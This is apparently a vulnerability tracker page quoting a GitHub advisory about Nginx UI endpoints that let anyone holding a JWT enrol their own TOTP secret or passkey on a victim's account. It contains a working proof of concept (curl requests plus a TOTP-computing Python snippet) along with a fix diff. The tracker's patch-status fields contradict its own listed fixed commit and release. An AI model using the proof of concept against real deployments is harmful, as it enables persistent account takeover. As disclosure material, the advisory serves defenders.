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Advisory · GitHub · Go · github.com/0xJacky/Nginx-UI

GHSA-GFRC-G87H-7H5W

Nginx UI: TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover

Sin parche publicado
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CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición35 dDesde la divulgación, 15 oct 2026, 3:11 p. m.
Detección32 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada
15 oct 26
28 oct 26
17 nov 26
19 nov 26
15 oct 26
24 oct 26
2 nov 26
11 nov 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-GFRC-G87H-7H5W divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

Endpoints that bind a TOTP secret (`POST /api/otp_enroll`) or register a WebAuthn passkey (`POST /api/finish_passkey_register`) for the *current* user require only a valid JWT. There is no current-password re-prompt and the routes are explicitly registered outside the `RequireSecureSession()` group. With only a stolen JWT, an attacker can attach their own second factor to the victim's account, surviving any subsequent password rotation and locking the legitimate user out.

Details

`api/user/router.go:34-39` — note the routes registered *before* the secure-session group:

r.GET("/otp_secret", GenerateTOTP)
r.POST("/otp_enroll", EnrollTOTP)                     // ← outside RequireSecureSession
r.GET("/begin_passkey_register", BeginPasskeyRegistration)
r.POST("/finish_passkey_register", FinishPasskeyRegistration)  // ← outside RequireSecureSession

o := r.Group("", middleware.RequireSecureSession())
{
    o.GET("/otp_reset", ResetOTP)                     // reset *is* protected — inconsistent
    ...
}

`EnrollTOTP` (`api/user/otp.go:45-102`) only refuses if `cUser.EnabledOTP()` is already `true`; for any victim who has never enabled TOTP it accepts an attacker-supplied `Secret` and `Passcode` pair (the validator only checks that the passcode is a valid TOTP for the supplied secret — i.e., the attacker proves they know the secret they are submitting):

if cUser.EnabledOTP() { ... abort ... }
var twoFA struct {
    Secret   string `json:"secret"   binding:"required"`
    Passcode string `json:"passcode" binding:"required"`
}
if !cosy.BindAndValid(c, &twoFA) { return }
if ok := totp.Validate(twoFA.Passcode, twoFA.Secret); !ok { ... abort ... }
ciphertext, _ := crypto.AesEncrypt([]byte(twoFA.Secret))
u.Where(u.ID.Eq(cUser.ID)).Update(u.OTPSecret, ciphertext)

`FinishPasskeyRegistration` (`api/user/passkey.go`) is structurally identical and additionally has *no* "already enrolled" guard — an attacker can register multiple passkeys to the victim.

Proof of Concept

JWT="<victim_jwt>"

# Step 1 — request a fresh TOTP secret server-side (anyone with JWT can call):
$ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/otp_secret
{"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN",
 "url":"otpauth://totp/Nginx%20UI:admin?...&secret=5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN"}

# Step 2 — compute current 30-s TOTP code (attacker-side):
$ python3 -c "import base64,hmac,hashlib,struct,time
key=base64.b32decode('5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN')
ctr=int(time.time())//30
h=hmac.new(key, struct.pack('>Q',ctr), hashlib.sha1).digest()
o=h[-1]&0xF; v=(struct.unpack('>I',h[o:o+4])[0]&0x7fffffff)%1000000
print(f'{v:06d}')"
954084

# Step 3 — bind that secret to the victim's account:
$ curl -i -X POST -H "Authorization: $JWT" -H "Content-Type: application/json" \
       -d '{"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN","passcode":"954084"}' \
       http://127.0.0.1:18080/api/otp_enroll

HTTP/1.1 200 OK
{"message":"ok","codes":[{"code":"c77d5-50543"},{"code":"f9284-688c6"},...],
 "last_viewed":1778338236}

# Step 4 — confirm 2FA is now enabled on the victim's account:
$ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/2fa_status
{"enabled":true,"otp_status":true,"passkey_status":false,
 "recovery_codes_generated":true,"recovery_codes_viewed":true}

Now whenever the legitimate user (or anyone) logs in to that account, the second factor must be supplied from the *attacker's* authenticator.

The passkey variant follows the same pattern: `GET /api/begin_passkey_register` then `POST /api/finish_passkey_register` with the attacker's WebAuthn authenticator. The route is also outside `RequireSecureSession`.

Impact

  • Persistent account takeover surviving the victim's password reset.
  • Combines trivially with any of: stolen JWT, the `RequireSecureSession` bypass, the missing-role-model privilege escalation, and the weak recovery-code generation.

Patches

`api/user/router.go` — move enrolment routes inside the secure-session group:

-    r.POST("/otp_enroll", EnrollTOTP)
-    r.GET("/begin_passkey_register", BeginPasskeyRegistration)
-    r.POST("/finish_passkey_register", FinishPasskeyRegistration)
-
     o := r.Group("", middleware.RequireSecureSession())
     {
+        o.POST("/otp_enroll", EnrollTOTP)
+        o.GET("/begin_passkey_register", BeginPasskeyRegistration)
+        o.POST("/finish_passkey_register", FinishPasskeyRegistration)
         o.GET("/otp_reset", ResetOTP)
         ...
     }

This patch alone is not sufficient — the `RequireSecureSession` middleware is a no-op for non-OTP users (separate advisory). Both must be patched together. Additionally, require the user's current password in the request body for these mutations (mirroring `UpdateCurrentUserPassword` at `api/user/current_user.go`).

Workarounds

None reliable. Operators should monitor the `users` table for unexpected `OTPSecret` values and the `passkeys` table for unexpected rows.

Credits

Vishal Shukla (@shukla304 https://github.com/shukla304) and Sechub.dev AI Agent.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
github.com/0xJacky/Nginx-UI< 1.9.10-0.20260703131214-23d1934099b0
v1.9.9
1.9.10-0.20260703131214-23d1934099b0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/0xJacky/Nginx-UI
Sin parche — — v1.9.9 afectada
Versiones corregidascommit 23d1934
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-84313
Otrahttps://github.com/0xJacky/nginx-ui/security/advisories/GHSA-gfrc-g87h-7h5w
Otrahttps://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2
Otrahttps://github.com/0xJacky/nginx-ui
Otrahttps://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1

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